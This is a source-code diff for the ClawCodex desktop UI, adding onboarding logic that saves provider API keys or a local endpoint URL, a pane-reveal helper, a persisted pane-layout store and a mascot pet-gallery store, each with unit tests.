+  // option, whose primary `value` is the base URL. Ignored for plain API-key
+  // providers (their key IS `value`).
+  endpointApiKey?: string
+) {
+  const trimmed = value.trim()
+
+  if (!trimmed) {
+    return { ok: false, message: 'Enter a value first.' }
+  }
+
+  // The "Local / custom endpoint" option carries a base URL (in `value`) plus
+  // an optional API key. It must be wired into config (provider=custom +
+  // base_url + model + api_key), not dropped into .env — runtime resolution
+  // ignores OPENAI_BASE_URL.
+  if (envKey === 'OPENAI_BASE_URL') {
+    return saveOnboardingLocalEndpoint(trimmed, endpointApiKey?.trim() ?? '', ctx)
+  }
+
+  // No key validation here on purpose: we previously live-probed the key and
+  // hard-blocked on a runtime check after saving, which rejected too many
+  // legitimate users (corporate proxies, regional blocks, flaky/rate-limited
+  // provider probes, self-hosted endpoints). We now save the value as-is and
+  // let the user proceed; an actually-bad key surfaces later at chat time.
+  try {
+    await setEnvVar(envKey, trimmed)
+    // For API-key flows we don't have a definitive provider id (the
+    // user picked which API key they're entering, but the corresponding
+    // backend slug — e.g. OPENROUTER_API_KEY → "openrouter" — is the
+    // env-key prefix stripped). Pass a couple of likely candidates;
+    // fetchProviderDefaultModel falls back to the first authenticated
+    // provider returned by /api/model/options if none match.
+    const slugCandidates = [envKey.replace(/_API_KEY$/, '').toLowerCase(), label.toLowerCase()]
+    // ignoreRuntimeGate=true: never block onboarding on the runtime check.
+    await completeWithModelConfirm(ctx, label, slugCandidates, () => undefined, true)
+
+    return { ok: true }
+  } catch (error) {
+    notifyError(error, `Could not save ${label}`)
+
+    return { ok: false, message: errMessage(error) }
+  }
+}
+
+// Configure a local / self-hosted OpenAI-compatible endpoint (vLLM, llama.cpp,
+// Ollama, …). Unlike API-key providers, a local endpoint is defined by its URL
+// and usually needs NO key. The runtime resolver reads model.base_url from
+// config (it ignores the OPENAI_BASE_URL env var), so we persist
+// provider=custom + base_url + model via /api/model/set rather than dropping an
+// env var that resolution never consults.
+//
+// The model is auto-discovered from the endpoint's /v1/models (surfaced by the
+// validate probe). The optional API key is forwarded to the probe (so hosted
+// endpoints that gate /v1/models behind auth still enumerate models) and
+// persisted to model.api_key so the runtime can authenticate.
+//
+// We deliberately don't route through completeWithModelConfirm: that path
+// re-assigns the model from /api/model/options WITHOUT a base_url, which would
+// wipe the base_url we just wrote. We have a concrete model already, so we
+// verify the runtime directly and finish.
+export async function saveOnboardingLocalEndpoint(baseUrl: string, apiKey: string, ctx: OnboardingContext) {
+  const url = baseUrl.trim()
+  const key = apiKey.trim()
+
+  if (!url) {
+    return { ok: false, message: 'Enter the endpoint URL first.' }
+  }
+
+  // Probe connectivity + discover the served models. Any HTTP response proves
+  // the endpoint is up; an unreachable probe hard-blocks because we can't
+  // resolve a model to route to.
+  let model = ''
+
+  try {
+    const probe = await validateProviderCredential('OPENAI_BASE_URL', url, key)
+
+    if (!probe.ok && probe.reachable) {
+      return { ok: false, message: probe.message || 'Could not reach that endpoint.' }
+    }
+
+    if (!probe.reachable) {
+      return { ok: false, message: probe.message || `Could not reach ${url}.` }
+    }
+
+    model = (probe.models?.[0] ?? '').trim()
+  } catch {
+    return { ok: false, message: `Could not reach ${url}.` }
+  }
+
+  if (!model) {
+    return {
+      ok: false,
+      message: `Connected to ${url}, but it advertised no models at /v1/models. Start a model on that endpoint and try again.`
+    }
+  }
+
+  try {
+    await setModelAssignment({ scope: 'main', provider: 'custom', model, base_url: url, api_key: key })
+    await ctx.requestGateway('reload.env').catch(() => undefined)
+
+    const runtime = await checkRuntime(ctx)
+
+    if (!runtime.ready) {
+      const detail = (runtime.reason ?? '').trim()
+
+      return { ok: false, message: detail || `Saved, but ClawCodex still cannot reach ${url}.` }
+    }
+
+    notifyReady('Local / custom endpoint')
+    completeDesktopOnboarding()
+    ctx.onCompleted?.()
+
+    return { ok: true }
+  } catch (error) {
+    notifyError(error, 'Could not save local endpoint')
+
+    return { ok: false, message: errMessage(error) }
+  }
+}
+
+// User picked a different model from the dropdown on the confirm card.
+// Persists immediately so the displayed value is always what's on disk.
+export async function setOnboardingModel(model: string) {
+  const { flow } = $desktopOnboarding.get()
+
+  if (flow.status !== 'confirming_model') {
+    return
+  }
+
+  // Optimistic update so the dropdown feels instant; revert on failure.
+  const previous = flow.currentModel
+  setFlow({ ...flow, currentModel: model, saving: true })
+
+  try {
+    await setModelAssignment({
+      scope: 'main',
+      provider: flow.providerSlug,
+      model
+    })
+    const current = $desktopOnboarding.get().flow
+
+    if (current.status === 'confirming_model') {
+      setFlow({ ...current, currentModel: model, saving: false })
+    }
+  } catch (error) {
+    notifyError(error, 'Could not change model')
+    const current = $desktopOnboarding.get().flow
+
+    if (current.status === 'confirming_model') {
+      setFlow({ ...current, currentModel: previous, saving: false })
+    }
+  }
+}
+
+// User clicked "Start chatting" on the confirm card. Finalizes onboarding
+// — the model was already persisted by completeWithModelConfirm (or by
+// setOnboardingModel if they changed it), so all that's left is to mark
+// onboarding done and unblock the rest of the app.
+export function confirmOnboardingModel(ctx: OnboardingContext) {
+  const { flow } = $desktopOnboarding.get()
+
+  if (flow.status !== 'confirming_model') {
+    return
+  }
+
+  // No success toast here: the confirm-model screen already showed "<provider>
+  // connected." notifyReady is reserved for completion paths that SKIP this
+  // screen (no-default fallthrough, local endpoint) so feedback isn't lost.
+  completeDesktopOnboarding()
+  ctx.onCompleted?.()
+}
diff --git a/ui-desktop/src/store/pane-focus.test.ts b/ui-desktop/src/store/pane-focus.test.ts
new file mode 100644
index 000000000..192a6d941
--- /dev/null
+++ b/ui-desktop/src/store/pane-focus.test.ts
@@ -0,0 +1,42 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { revealDesktopPane } from './pane-focus'
+
+const { openReview, revealTreePane, setFileBrowserOpen, setSidebarOpen, setTerminalTakeover } = vi.hoisted(() => ({
+  openReview: vi.fn(),
+  revealTreePane: vi.fn(),
+  setFileBrowserOpen: vi.fn(),
+  setSidebarOpen: vi.fn(),
+  setTerminalTakeover: vi.fn()
+}))
+
+vi.mock('@/app/right-sidebar/store', () => ({ setTerminalTakeover }))
+vi.mock('@/components/pane-shell/tree/store', () => ({ revealTreePane }))
+vi.mock('./layout', () => ({ setFileBrowserOpen, setSidebarOpen }))
+vi.mock('./review', () => ({ openReview }))
+
+describe('revealDesktopPane', () => {
+  beforeEach(() => vi.clearAllMocks())
+
+  it("drives each pane's own reveal path", () => {
+    revealDesktopPane('chat')
+    expect(revealTreePane).toHaveBeenCalledWith('workspace')
+    revealDesktopPane('files')
+    expect(setFileBrowserOpen).toHaveBeenCalledWith(true)
+    revealDesktopPane('review')
+    expect(openReview).toHaveBeenCalledOnce()
+    revealDesktopPane('sessions')
+    expect(setSidebarOpen).toHaveBeenCalledWith(true)
+    revealDesktopPane('terminal')
+    expect(setTerminalTakeover).toHaveBeenCalledWith(true)
+  })
+
+  it('returns false for an unknown pane and touches nothing', () => {
+    expect(revealDesktopPane('nope')).toBe(false)
+    expect(revealTreePane).not.toHaveBeenCalled()
+  })
+
+  it('returns true for a known pane', () => {
+    expect(revealDesktopPane('terminal')).toBe(true)
+  })
+})
diff --git a/ui-desktop/src/store/pane-focus.ts b/ui-desktop/src/store/pane-focus.ts
new file mode 100644
index 000000000..2b5c99e4a
--- /dev/null
+++ b/ui-desktop/src/store/pane-focus.ts
@@ -0,0 +1,30 @@
+import { setTerminalTakeover } from '@/app/right-sidebar/store'
+import { revealTreePane } from '@/components/pane-shell/tree/store'
+
+import { setFileBrowserOpen, setSidebarOpen } from './layout'
+import { openReview } from './review'
+
+// Explicit-request pane reveals, keyed to the backend `focus_pane` tool. Each
+// entry drives the pane's own reveal path (some are toggle-bound) so a revealed
+// pane matches a user-driven open. files/review are workspace-gated — a no-op
+// without a project cwd, which is the honest behavior.
+const PANE_REVEALERS: Record<string, () => void> = {
+  chat: () => revealTreePane('workspace'),
+  files: () => setFileBrowserOpen(true),
+  review: () => openReview(),
+  sessions: () => setSidebarOpen(true),
+  terminal: () => setTerminalTakeover(true)
+}
+
+/** Reveal a desktop pane by name. Returns false for an unknown pane. */
+export function revealDesktopPane(pane: string): boolean {
+  const reveal = PANE_REVEALERS[pane]
+
+  if (!reveal) {
+    return false
+  }
+
+  reveal()
+
+  return true
+}
diff --git a/ui-desktop/src/store/panes.test.ts b/ui-desktop/src/store/panes.test.ts
new file mode 100644
index 000000000..ddf676278
--- /dev/null
+++ b/ui-desktop/src/store/panes.test.ts
@@ -0,0 +1,146 @@
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import {
+  $paneOpen,
+  $paneStates,
+  $paneWidthOverride,
+  clearPaneWidthOverride,
+  ensurePaneRegistered,
+  getPaneStateSnapshot,
+  setPaneOpen,
+  setPaneWidthOverride,
+  togglePane
+} from './panes'
+
+const STORAGE_KEY = 'clawcodex.desktop.paneStates.v1'
+
+describe('panes store', () => {
+  beforeEach(() => {
+    $paneStates.set({})
+    window.localStorage.clear()
+  })
+
+  afterEach(() => {
+    $paneStates.set({})
+    window.localStorage.clear()
+  })
+
+  describe('ensurePaneRegistered', () => {
+    it('adds a pane with defaults when missing', () => {
+      ensurePaneRegistered('files', { open: true })
+
+      expect(getPaneStateSnapshot('files')).toEqual({ open: true, widthOverride: undefined })
+    })
+
+    it('is a no-op when the pane already exists', () => {
+      ensurePaneRegistered('files', { open: false })
+      ensurePaneRegistered('files', { open: true })
+
+      expect(getPaneStateSnapshot('files')?.open).toBe(false)
+    })
+
+    it('preserves an existing widthOverride when re-registering', () => {
+      ensurePaneRegistered('files', { open: true })
+      setPaneWidthOverride('files', 360)
+      ensurePaneRegistered('files', { open: false })
+
+      expect(getPaneStateSnapshot('files')?.widthOverride).toBe(360)
+    })
+  })
+
+  describe('setPaneOpen / togglePane', () => {
+    it('updates the pane open flag', () => {
+      ensurePaneRegistered('files', { open: false })
+      setPaneOpen('files', true)
+
+      expect(getPaneStateSnapshot('files')?.open).toBe(true)
+    })
+
+    it('togglePane flips the current value', () => {
+      ensurePaneRegistered('files', { open: false })
+      togglePane('files')
+      togglePane('files')
+      togglePane('files')
+
+      expect(getPaneStateSnapshot('files')?.open).toBe(true)
+    })
+
+    it('togglePane on an unregistered id starts from false', () => {
+      togglePane('ephemeral')
+
+      expect(getPaneStateSnapshot('ephemeral')?.open).toBe(true)
+    })
+
+    it('preserves widthOverride across open/close changes', () => {
+      ensurePaneRegistered('files', { open: true })
+      setPaneWidthOverride('files', 280)
+      setPaneOpen('files', false)
+      setPaneOpen('files', true)
+
+      expect(getPaneStateSnapshot('files')?.widthOverride).toBe(280)
+    })
+  })
+
+  describe('width overrides', () => {
+    it('setPaneWidthOverride stores the px value', () => {
+      ensurePaneRegistered('files', { open: true })
+      setPaneWidthOverride('files', 300)
+
+      expect(getPaneStateSnapshot('files')?.widthOverride).toBe(300)
+    })
+
+    it('clearPaneWidthOverride removes the override', () => {
+      ensurePaneRegistered('files', { open: true })
+      setPaneWidthOverride('files', 300)
+      clearPaneWidthOverride('files')
+
+      expect(getPaneStateSnapshot('files')?.widthOverride).toBeUndefined()
+    })
+
+    it('width override is NOT in-memory only, and is persisted across reloads', () => {
+      ensurePaneRegistered('files', { open: true })
+      setPaneWidthOverride('files', 300)
+
+      const persisted = window.localStorage.getItem(STORAGE_KEY)
+
+      expect(persisted).not.toBeNull()
+      expect(JSON.parse(persisted ?? '{}')).toEqual({ files: { open: true, widthOverride: 300 } })
+    })
+
+    it('open flag is persisted across changes', () => {
+      ensurePaneRegistered('files', { open: false })
+      setPaneOpen('files', true)
+
+      const persisted = window.localStorage.getItem(STORAGE_KEY)
+
+      expect(persisted).not.toBeNull()
+      expect(JSON.parse(persisted ?? '{}')).toEqual({ files: { open: true } })
+    })
+  })
+
+  describe('derived atoms', () => {
+    it('$paneOpen reflects the pane state', () => {
+      const open$ = $paneOpen('files')
+      expect(open$.get()).toBe(false)
+
+      ensurePaneRegistered('files', { open: true })
+      expect(open$.get()).toBe(true)
+
+      setPaneOpen('files', false)
+      expect(open$.get()).toBe(false)
+    })
+
+    it('$paneWidthOverride reflects the width', () => {
+      const width$ = $paneWidthOverride('files')
+      expect(width$.get()).toBeUndefined()
+
+      ensurePaneRegistered('files', { open: true })
+      setPaneWidthOverride('files', 240)
+      expect(width$.get()).toBe(240)
+    })
+
+    it('$paneOpen returns the same atom instance for repeated calls', () => {
+      expect($paneOpen('files')).toBe($paneOpen('files'))
+    })
+  })
+})
diff --git a/ui-desktop/src/store/panes.ts b/ui-desktop/src/store/panes.ts
new file mode 100644
index 000000000..9359100ca
--- /dev/null
+++ b/ui-desktop/src/store/panes.ts
@@ -0,0 +1,183 @@
+import { atom, computed, type ReadableAtom } from 'nanostores'
+
+export interface PaneStateSnapshot {
+  open: boolean
+  widthOverride?: number
+  /** Vertical size override (px) for panes that resize on the Y axis (e.g. the bottom-row terminal). */
+  heightOverride?: number
+}
+
+export interface PaneRegisterDefaults {
+  open: boolean
+  widthOverride?: number
+}
+
+const STORAGE_KEY = 'clawcodex.desktop.paneStates.v1'
+
+function isSnapshot(value: unknown): value is PaneStateSnapshot {
+  if (!value || typeof value !== 'object') {
+    return false
+  }
+
+  const r = value as Record<string, unknown>
+
+  if (typeof r.open !== 'boolean') {
+    return false
+  }
+
+  const widthOk =
+    r.widthOverride === undefined || (typeof r.widthOverride === 'number' && Number.isFinite(r.widthOverride))
+
+  const heightOk =
+    r.heightOverride === undefined || (typeof r.heightOverride === 'number' && Number.isFinite(r.heightOverride))
+
+  return widthOk && heightOk
+}
+
+function load(): Record<string, PaneStateSnapshot> {
+  if (typeof window === 'undefined') {
+    return {}
+  }
+
+  try {
+    const raw = window.localStorage.getItem(STORAGE_KEY)
+
+    if (raw) {
+      const parsed = JSON.parse(raw) as unknown
+
+      if (parsed && typeof parsed === 'object') {
+        const out: Record<string, PaneStateSnapshot> = {}
+
+        for (const [id, value] of Object.entries(parsed as Record<string, unknown>)) {
+          if (isSnapshot(value)) {
+            out[id] = { open: value.open, widthOverride: value.widthOverride, heightOverride: value.heightOverride }
+          }
+        }
+
+        return out
+      }
+    }
+  } catch {
+    // Treat unparseable persisted state as missing.
+  }
+
+  return {}
+}
+
+// Persists both open state and resize width; load() validates each snapshot.
+function persist(states: Record<string, PaneStateSnapshot>) {
+  if (typeof window === 'undefined') {
+    return
+  }
+
+  try {
+    window.localStorage.setItem(STORAGE_KEY, JSON.stringify(states))
+  } catch {
+    // Storage failures are nonfatal.
+  }
+}
+
+export const $paneStates = atom<Record<string, PaneStateSnapshot>>(load())
+
+$paneStates.subscribe(persist)
+
+// Cached per-pane derived atoms keep useStore subscriptions referentially stable.
+function memoized<T>(
+  cache: Map<string, ReadableAtom<T>>,
+  id: string,
+  selector: (s: PaneStateSnapshot | undefined) => T
+) {
+  let cached = cache.get(id)
+
+  if (!cached) {
+    cached = computed($paneStates, states => selector(states[id]))
+    cache.set(id, cached)
+  }
+
+  return cached
+}
+
+const openCache = new Map<string, ReadableAtom<boolean>>()
+const stateCache = new Map<string, ReadableAtom<PaneStateSnapshot | undefined>>()
+const widthCache = new Map<string, ReadableAtom<number | undefined>>()
+const heightCache = new Map<string, ReadableAtom<number | undefined>>()
+
+export const $paneOpen = (id: string) => memoized(openCache, id, s => s?.open ?? false)
+export const $paneState = (id: string) => memoized(stateCache, id, s => s)
+export const $paneWidthOverride = (id: string) => memoized(widthCache, id, s => s?.widthOverride)
+export const $paneHeightOverride = (id: string) => memoized(heightCache, id, s => s?.heightOverride)
+
+export function ensurePaneRegistered(id: string, defaults: PaneRegisterDefaults) {
+  const current = $paneStates.get()
+
+  if (current[id] !== undefined) {
+    return
+  }
+
+  $paneStates.set({ ...current, [id]: { open: defaults.open, widthOverride: defaults.widthOverride } })
+}
+
+export function setPaneOpen(id: string, open: boolean) {
+  const current = $paneStates.get()
+  const existing = current[id]
+
+  if (existing?.open === open) {
+    return
+  }
+
+  $paneStates.set({ ...current, [id]: { ...existing, open } })
+}
+
+export function togglePane(id: string) {
+  const current = $paneStates.get()
+  const existing = current[id]
+  $paneStates.set({ ...current, [id]: { ...existing, open: !(existing?.open ?? false) } })
+}
+
+export function setPaneWidthOverride(id: string, width: number | undefined) {
+  const current = $paneStates.get()
+  const existing = current[id] ?? { open: false }
+
+  if (existing.widthOverride === width) {
+    return
+  }
+
+  $paneStates.set({ ...current, [id]: { ...existing, widthOverride: width } })
+}
+
+export function setPaneHeightOverride(id: string, height: number | undefined) {
+  const current = $paneStates.get()
+  const existing = current[id] ?? { open: false }
+
+  if (existing.heightOverride === height) {
+    return
+  }
+
+  $paneStates.set({ ...current, [id]: { ...existing, heightOverride: height } })
+}
+
+export const clearPaneWidthOverride = (id: string) => setPaneWidthOverride(id, undefined)
+export const clearPaneHeightOverride = (id: string) => setPaneHeightOverride(id, undefined)
+
+/** Drop every pane's drag-resize override (open state untouched). Layout
+ *  reset / preset application: zones return to their declared sizes. */
+export function clearAllPaneSizeOverrides() {
+  const current = $paneStates.get()
+  let changed = false
+  const next: Record<string, PaneStateSnapshot> = {}
+
+  for (const [id, state] of Object.entries(current)) {
+    if (state.widthOverride !== undefined || state.heightOverride !== undefined) {
+      changed = true
+      next[id] = { open: state.open }
+    } else {
+      next[id] = state
+    }
+  }
+
+  if (changed) {
+    $paneStates.set(next)
+  }
+}
+
+export const getPaneStateSnapshot = (id: string) => $paneStates.get()[id]
diff --git a/ui-desktop/src/store/pet-gallery.test.ts b/ui-desktop/src/store/pet-gallery.test.ts
new file mode 100644
index 000000000..5a5f494a8
--- /dev/null
+++ b/ui-desktop/src/store/pet-gallery.test.ts
@@ -0,0 +1,210 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { $petInfo, setPetInfo } from './pet'
+import { $petGallery, adoptPet, type GatewayRequest, loadPetGallery, resetPetGallery } from './pet-gallery'
+
+function localGallery() {
+  return {
+    enabled: true,
+    active: 'boba',
+    pets: [{ slug: 'boba', displayName: 'Boba', installed: true }]
+  }
+}
+
+describe('pet gallery pet.info sync', () => {
+  beforeEach(() => {
+    resetPetGallery()
+    setPetInfo({ enabled: false })
+  })
+
+  afterEach(() => {
+    resetPetGallery()
+    setPetInfo({ enabled: false })
+    vi.restoreAllMocks()
+  })
+
+  it('uses pet.info.meta and keeps the cached spritesheet when the revision is current', async () => {
+    setPetInfo({
+      enabled: true,
+      slug: 'boba',
+      displayName: 'Old Boba',
+      scale: 0.33,
+      spritesheetBase64: 'large-sprite-payload',
+      spritesheetRevision: '100:2048',
+      frameW: 192,
+      frameH: 208
+    })
+
+    const requestMock = vi.fn(async (method: string) => {
+      if (method === 'pet.gallery') {
+        return localGallery()
+      }
+
+      if (method === 'pet.info.meta') {
+        return {
+          enabled: true,
+          slug: 'boba',
+          displayName: 'Boba',
+          scale: 0.5,
+          spritesheetRevision: '100:2048'
+        }
+      }
+
+      if (method === 'pet.info') {
+        throw new Error('full pet.info should not be called for an unchanged sprite')
+      }
+
+      throw new Error(`unexpected method: ${method}`)
+    })
+
+    const request = requestMock as unknown as GatewayRequest
+
+    await loadPetGallery(request)
+
+    const methods = requestMock.mock.calls.map(([method]) => method)
+    expect(methods).toContain('pet.info.meta')
+    expect(methods).not.toContain('pet.info')
+    expect($petInfo.get()).toMatchObject({
+      enabled: true,
+      slug: 'boba',
+      displayName: 'Boba',
+      scale: 0.5,
+      spritesheetBase64: 'large-sprite-payload',
+      spritesheetRevision: '100:2048',
+      frameW: 192,
+      frameH: 208
+    })
+  })
+
+  it('fetches full pet.info when metadata reports a new spritesheet revision', async () => {
+    setPetInfo({
+      enabled: true,
+      slug: 'boba',
+      displayName: 'Boba',
+      scale: 0.33,
+      spritesheetBase64: 'old-sprite-payload',
+      spritesheetRevision: '100:2048'
+    })
+
+    const requestMock = vi.fn(async (method: string) => {
+      if (method === 'pet.gallery') {
+        return localGallery()
+      }
+
+      if (method === 'pet.info.meta') {
+        return {
+          enabled: true,
+          slug: 'boba',
+          displayName: 'Boba',
+          scale: 0.33,
+          spritesheetRevision: '101:4096'
+        }
+      }
+
+      if (method === 'pet.info') {
+        return {
+          enabled: true,
+          slug: 'boba',
+          displayName: 'Boba',
+          scale: 0.33,
+          spritesheetBase64: 'new-sprite-payload',
+          spritesheetRevision: '101:4096'
+        }
+      }
+
+      throw new Error(`unexpected method: ${method}`)
+    })
+
+    const request = requestMock as unknown as GatewayRequest
+
+    await loadPetGallery(request)
+
+    const methods = requestMock.mock.calls.map(([method]) => method)
+    expect(methods).toContain('pet.info.meta')
+    expect(methods).toContain('pet.info')
+    expect($petInfo.get().spritesheetBase64).toBe('new-sprite-payload')
+    expect($petInfo.get().spritesheetRevision).toBe('101:4096')
+  })
+
+  it('falls back to full pet.info when an older gateway lacks metadata', async () => {
+    const requestMock = vi.fn(async (method: string) => {
+      if (method === 'pet.gallery') {
+        return localGallery()
+      }
+
+      if (method === 'pet.info.meta') {
+        throw new Error('JSON-RPC -32601: Method not found')
+      }
+
+      if (method === 'pet.info') {
+        return {
+          enabled: true,
+          slug: 'boba',
+          displayName: 'Boba from legacy gateway',
+          scale: 0.4,
+          spritesheetBase64: 'legacy-full-payload',
+          spritesheetRevision: '99:1024'
+        }
+      }
+
+      throw new Error(`unexpected method: ${method}`)
+    })
+
+    const request = requestMock as unknown as GatewayRequest
+
+    await loadPetGallery(request)
+
+    const methods = requestMock.mock.calls.map(([method]) => method)
+    expect(methods).toContain('pet.info.meta')
+    expect(methods).toContain('pet.info')
+    expect($petInfo.get()).toMatchObject({
+      enabled: true,
+      slug: 'boba',
+      displayName: 'Boba from legacy gateway',
+      spritesheetBase64: 'legacy-full-payload',
+      spritesheetRevision: '99:1024'
+    })
+  })
+
+  it('keeps mutation sync on metadata when the selected pet sprite is unchanged', async () => {
+    $petGallery.set(localGallery())
+    setPetInfo({
+      enabled: true,
+      slug: 'boba',
+      displayName: 'Boba',
+      scale: 0.33,
+      spritesheetBase64: 'large-sprite-payload',
+      spritesheetRevision: '100:2048'
+    })
+
+    const requestMock = vi.fn(async (method: string) => {
+      if (method === 'pet.select') {
+        return { ok: true, slug: 'boba', displayName: 'Boba' }
+      }
+
+      if (method === 'pet.info.meta') {
+        return {
+          enabled: true,
+          slug: 'boba',
+          displayName: 'Boba',
+          scale: 0.33,
+          spritesheetRevision: '100:2048'
+        }
+      }
+
+      if (method === 'pet.info') {
+        throw new Error('full pet.info should not be called after an unchanged select')
+      }
+
+      throw new Error(`unexpected method: ${method}`)
+    })
+
+    const request = requestMock as unknown as GatewayRequest
+
+    await expect(adoptPet(request, 'boba', 'Could not adopt pet.')).resolves.toBe(true)
+
+    const methods = requestMock.mock.calls.map(([method]) => method)
+    expect(methods).toEqual(['pet.select', 'pet.info.meta'])
+    expect($petInfo.get().spritesheetBase64).toBe('large-sprite-payload')
+  })
+})
diff --git a/ui-desktop/src/store/pet-gallery.ts b/ui-desktop/src/store/pet-gallery.ts
new file mode 100644
index 000000000..60322bcc1
--- /dev/null
+++ b/ui-desktop/src/store/pet-gallery.ts
@@ -0,0 +1,537 @@
+import { atom } from 'nanostores'
+
+import { normalize } from '@/lib/text'
+import {
+  $petInfo,
+  hasPetSpriteForMeta,
+  mergePetInfoMeta,
+  type PetInfo,
+  type PetInfoMeta,
+  petProfile,
+  setPetInfo
+} from '@/store/pet'
+
+/**
+ * Feature store for the petdex gallery picker (Cmd+K "Pets…" + Settings).
+ *
+ * Why this exists: `pet.gallery` does a *network* manifest fetch on the gateway,
+ * so re-pulling it after every adopt/toggle made the picker feel laggy and made
+ * two components (palette + settings) each carry their own copy of the same
+ * fetch / thumb-cache / optimistic-mutation logic. This store centralizes it:
+ *
+ *  - The gallery is fetched once and cached; reopening the picker is instant.
+ *  - Mutations (adopt / enable / remove) patch local state and only re-pull the
+ *    cheap, local `pet.info` — never the network manifest again.
+ *  - Thumbnails are deduped in a process-global cache (the backend disk-caches
+ *    too, so a slug is fetched at most once per session).
+ *
+ * Consumers just `useStore($petGallery)` and call the actions; no component
+ * owns gallery state anymore.
+ */
+
+export interface GalleryPet {
+  slug: string
+  displayName: string
+  installed: boolean
+  spritesheetUrl?: string
+  /** petdex's hand-picked set — used only to rank "popular" pets first. */
+  curated?: boolean
+  /** Hatched locally by the user (createdBy=generator) — badged + ranked first. */
+  generated?: boolean
+}
+
+export interface PetGallery {
+  enabled: boolean
+  active: string
+  pets: GalleryPet[]
+}
+
+export type PetGalleryStatus = 'idle' | 'loading' | 'ready' | 'stale' | 'error'
+
+/** The recovering `requestGateway` from `useGatewayRequest` — passed in so the
+ *  store reuses the hook's reconnect/reauth handling instead of duplicating it. */
+export type GatewayRequest = <T>(
+  method: string,
+  params?: Record<string, unknown>,
+  timeoutMs?: number,
+  signal?: AbortSignal
+) => Promise<T>
+
+/** Profile-scoped pet RPC. Pets are per-profile, so every call carries the active
+ *  profile (the gateway no-ops it for the launch profile). One chokepoint so no
+ *  call site can forget it. */
+const petRpc = <T>(request: GatewayRequest, method: string, params: Record<string, unknown> = {}): Promise<T> =>
+  request<T>(method, { ...params, profile: petProfile() })
+
+/** A JSON-RPC "method not found" — the backend predates the pet RPCs. */
+function isMissingMethod(error: unknown): boolean {
+  const message = error instanceof Error ? error.message : String(error)
+
+  return /method not found|-32601|unknown method|no such method/i.test(message)
+}
+
+export const $petGallery = atom<PetGallery | null>(null)
+export const $petGalleryStatus = atom<PetGalleryStatus>('idle')
+export const $petGalleryError = atom<string | null>(null)
+
+// Which action is in flight, so rows/buttons can show a spinner. A slug for a
+// per-pet mutation; the `TOGGLE_*` sentinels for the on/off switch.
+export const TOGGLE_ON = '\u0000on'
+export const TOGGLE_OFF = '\u0000off'
+export const $petBusy = atom<string | null>(null)
+
+// Process-global caches (survive component unmount → instant reopen).
+const thumbCache = new Map<string, Promise<string | null>>()
+let galleryLoad: Promise<void> | null = null
+
+/**
+ * Drop the cached gallery, thumbnails, and in-flight load so the next open
+ * refetches against the now-active profile's backend. Called on a profile switch
+ * (pets are per-profile) — the floating pet's own `pet.info` poll repaints the
+ * new profile's mascot, and the picker reloads its gallery on next mount.
+ */
+export function resetPetGallery(): void {
+  galleryLoad = null
+  thumbCache.clear()
+  $petGallery.set(null)
+  $petGalleryStatus.set('idle')
+  $petGalleryError.set(null)
+  $petBusy.set(null)
+}
+
+export function loadPetThumb(request: GatewayRequest, slug: string, url?: string): Promise<string | null> {
+  let pending = thumbCache.get(slug)
+
+  if (!pending) {
+    pending = petRpc<{ ok: boolean; dataUri?: string }>(request, 'pet.thumb', { slug, url: url ?? '' })
+      .then(result => (result?.ok && result.dataUri ? result.dataUri : null))
+      .catch(() => null)
+    thumbCache.set(slug, pending)
+  }
+
+  return pending
+}
+
+/**
+ * Fetch the gallery once and cache it. Subsequent calls are no-ops while a
+ * ready snapshot is held; pass `{ force: true }` to bypass the cache (e.g. a
+ * manual refresh). Concurrent callers share a single in-flight request.
+ */
+export function loadPetGallery(request: GatewayRequest, options: { force?: boolean } = {}): Promise<void> {
+  if (!options.force && $petGallery.get() && $petGalleryStatus.get() === 'ready') {
+    return Promise.resolve()
+  }
+
+  if (galleryLoad) {
+    return galleryLoad
+  }
+
+  galleryLoad = (async () => {
+    if (!$petGallery.get()) {
+      $petGalleryStatus.set('loading')
+    }
+
+    let localOk = false
+
+    try {
+      // Phase 1: local pets only — instant, never blocks on the remote petdex
+      // manifest. The user's own/generated pets render right away.
+      const [local] = await Promise.all([
+        petRpc<PetGallery>(request, 'pet.gallery', { localOnly: true }),
+        syncInfo(request)
+      ])
+
+      if (local) {
+        $petGallery.set(local)
+        $petGalleryStatus.set('ready')
+        $petGalleryError.set(null)
+        localOk = true
+      }
+    } catch (e) {
+      if (isMissingMethod(e)) {
+        $petGalleryStatus.set('stale')
+      } else if (!$petGallery.get()) {
+        // Only surface a hard error when we have nothing to show; a transient
+        // hiccup mid-session leaves the cached gallery intact.
+        $petGalleryStatus.set('error')
+        $petGalleryError.set(e instanceof Error ? e.message : 'Could not reach the petdex gallery.')
+      }
+    } finally {
+      galleryLoad = null
+    }
+
+    // Phase 2: merge in the full petdex catalog in the background. A slow/failed
+    // manifest fetch never hides the local pets shown in phase 1.
+    if (localOk) {
+      try {
+        const full = await petRpc<PetGallery>(request, 'pet.gallery')
+
+        if (full) {
+          $petGallery.set(full)
+          $petGalleryStatus.set('ready')
+        }
+      } catch {
+        // Keep the local-only gallery; the petdex catalog just stays unmerged.
+      }
+    }
+  })()
+
+  return galleryLoad
+}
+
+// Push the live mascot state (cheap, local config read) without re-pulling the
+// network gallery — the floating pet repaints, the picker keeps its cache.
+async function syncInfo(request: GatewayRequest): Promise<void> {
+  try {
+    let meta: PetInfoMeta | null = null
+
+    try {
+      meta = await petRpc<PetInfoMeta>(request, 'pet.info.meta')
+    } catch (e) {
+      if (!isMissingMethod(e)) {
+        throw e
+      }
+
+      const info = await petRpc<PetInfo>(request, 'pet.info')
+
+      if (info) {
+        setPetInfo(info)
+      }
+
+      return
+    }
+
+    if (!meta) {
+      return
+    }
+
+    if (!meta.enabled) {
+      setPetInfo({ enabled: false })
+
+      return
+    }
+
+    const current = $petInfo.get()
+
+    if (hasPetSpriteForMeta(current, meta)) {
+      const merged = mergePetInfoMeta(current, meta)
+
+      if (merged !== current) {
+        setPetInfo(merged)
+      }
+
+      return
+    }
+
+    const info = await petRpc<PetInfo>(request, 'pet.info')
+
+    if (info) {
+      setPetInfo(info)
+    }
+  } catch {
+    // The mutation already succeeded; a stale mascot self-heals on its poll.
+  }
+}
+
+/**
+ * Reflect a just-adopted *local* pet without any network: optimistically mark it
+ * active/installed in the cached gallery and repaint the live mascot via the
+ * local `pet.info`. Adopting a generated pet is a disk+config op — it must never
+ * wait on `pet.gallery`'s remote petdex manifest fetch.
+ */
